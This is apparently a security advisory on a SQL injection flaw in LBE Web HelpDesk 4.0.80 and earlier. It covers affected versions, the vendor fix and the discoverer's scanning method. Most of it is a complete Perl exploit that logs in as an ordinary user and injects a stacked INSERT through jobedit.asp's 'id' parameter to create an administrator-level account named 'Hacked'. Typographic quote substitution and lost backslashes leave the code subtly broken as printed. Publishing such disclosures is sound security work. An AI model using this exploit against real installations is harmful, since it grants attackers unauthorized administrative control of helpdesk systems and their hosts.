‘LBE Web HelpDesk SQL Injection’

Summary

Leigh Business Enterprises’s Web HelpDesk is ‘operated entirely through your web browser and is designed to be used by both your support staff and your customers’.

We found the product to contain at least one exploitable SQL Injection vulnerability that would allow a normal user to gain administrative privileges to the Leigh Business Enterprises’s Web HelpDesk product.’

Credit:

‘The information has been provided by Noam Rathaus.’


Details

Vulnerable Systems:
 * Leigh Business Enterprises’s (LBE) Web HelpDesk 4.0.80 and prior

Immune Systems:
 * Leigh Business Enterprises’s (LBE) Web HelpDesk version 4.0.0.81 or newer

We found the product to contain at least one exploitable SQL Injection vulnerability that would allow a normal user to at the very least gain administrative privileges to the Leigh Business Enterprises’s Web HelpDesk product, at the worst case he will be able to get complete control over (administrative privileges) the computer on which the Leigh Business Enterprises’s Web HelpDesk is installed and utilize it to gain access to other computers.

The vulnerable page is the jobedit.asp, and its ‘id’ parameter. The parameter receives, from the user, part of SQL statement that is later used by the Leigh Business Enterprises’s Web HelpDesk. If we insert a malicious SQL statement to the ‘id’ parameter, we can modify the ‘users’ table, and add a new user that will have the permissions of as an operator.

See the below exploit code demonstrating how we gain administrative privileges to Leigh Business Enterprises’s Web HelpDesk, by only providing it with a username and password (regular user).

Vendor response:
We have today sent out a notification to our customers with details of the fix that can be downloaded from: http://www.lbehelpdesk.com/helpdesk-latest.htm.

Testing Methodology:
A few months ago Beyond Security built a new module for its Automated Scanning Vulnerability Assessment engine to test web sites and web applications for security vulnerabilities. This module adds the capability to dynamically crawl through a web site and find vulnerabilities in its dynamic pages.

This type of tool was considered to be different from the network VA tools, but we at Beyond Security believe that these two types of tools should be merged into one, and this is what made us incorporate the Web Site Security Audit module to our Automated Scanning engine.

For a press release on this integration see: http://www.beyondsecurity.com/press/2004/press10030402.htm
White paper on the first integrated network and web application vulnerability scanner: http://www.beyondsecurity.com/webscan-wp.pdf

Our Automated Scanning engine equipped with the Web Site Security Audit module did all the tests described in this advisory automatically.

Exploit:
#!/usr/bin/perl

use IO::Socket;
use strict;

my $host = $ARGV[0];
my $Path = $ARGV[1];
my $Email = $ARGV[2];
my $Password = $ARGV[3];

if (($#ARGV+1) < 4)
{
 print ‘lbehelpdesk.pl host path email passwordn’;
 exit(0);
}

my $remote = IO::Socket::INET->new ( Proto => ‘tcp’, PeerAddr => $host, PeerPort => ’80’ );

unless ($remote) { die ‘cannot connect to http daemon on $host’ }

print ‘Getting default cookien’;

my $http = ‘GET /$Path/oplogin.asp HTTP/1.1
Host: $host
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040405 Firefox/0.8
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,video/x-mng,image/png,image/jpeg,ima
ge/gif;q=0.2,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Connection: close

‘;

print ‘HTTP: [$http]n’;
print $remote $http;
sleep(1);

my $Cookie = ”;

while (<$remote>)
{
 if (/Set-Cookie: ([^;]+;)/)
 {
  $Cookie .= $1.’ ‘;
 }

# print $_;
}
print ‘n’;

close($remote);

$remote = IO::Socket::INET->new ( Proto => ‘tcp’, PeerAddr => $host, PeerPort => ’80’ );

unless ($remote) { die ‘cannot connect to http daemon on $host’ }

print ‘Logging inn’;

$remote->autoflush(1);

my $http = ‘POST /$Path/gstlogin.asp HTTP/1.1
Host: $host
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040405 Firefox/0.8
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,video/x-mng,image/png,image/jpeg,image/gif;q=0.2,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Connection: close
Referer: http://192.168.1.243/lbehelpdesk/gstlogin.asp
Cookie: $Cookie
Content-Type: application/x-www-form-urlencoded
Content-Length: ‘;

my $content = ‘txtemail=$Email&txtpwd=$Password’;

$http .= length($content).’

$content’;

print ‘HTTP: [$http]n’;
print $remote $http;
sleep(1);

my $success = 0;
while (<$remote>)
{
 if (/Location: eval.asp/)
 {
  $success = 1;
  print ‘Login successfulln’;
 }

# print $_;
}
print ‘n’;

close $remote;

if (!$success)
{
 print ‘Login failedn’;
 exit(0);
}

$http = ‘GET /$Path/jobedit.asp?id=0%20;%20INSERT%20INTO%20users%20(%20user_name,’.
‘%20password,%20editactiontime,%20orgstructure,%20createviewtemplate,’.
‘%20removelogins,%20editlinkedfiles,%20newencrypt,%20showalljobs,’.
‘%20publishmacros,%20override_contract%20)%20VALUES%20(‘Hacked’,’.
‘%20’60716363677F6274′,%201,%201,%201,%201,%201,%20’Y’,%201,’.
‘%201,%201) HTTP/1.1
Host: $host
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040405 Firefox/0.8
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,video/x-mng,image/png,image/jpeg,image/gif;q=0.2,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Connection: close
Referer: http://192.168.1.243/lbehelpdesk/gstlogin.asp
Cookie: $Cookie

‘;

$remote = IO::Socket::INET->new ( Proto => ‘tcp’, PeerAddr => $host, PeerPort => ’80’ );

unless ($remote) { die ‘cannot connect to http daemon on $host’ }

print ‘HTTP: [$http]n’;
print $remote $http;
sleep(1);

while (<$remote>)
{
 if (/Unable to find Job id = 0 ; INSERT INTO users/g)
 {
  print ‘Successfully added recordnYou can now log on as Hacked/password (Username/Password)n’;
 }
# print $_;
}

close($remote);

# INSERT INTO users ( user_name, password, editactiontime, orgstructure, createviewtemplate, removelogins, editlinkedfiles, newencrypt, showalljobs, publishmacros, override_contract ) VALUES (‘Hacked’, ‘60716363677F6274’, 1, 1, 1, 1, 1, ‘Y’, 1, 1, 1) # Password is ‘password”

Categories: Windows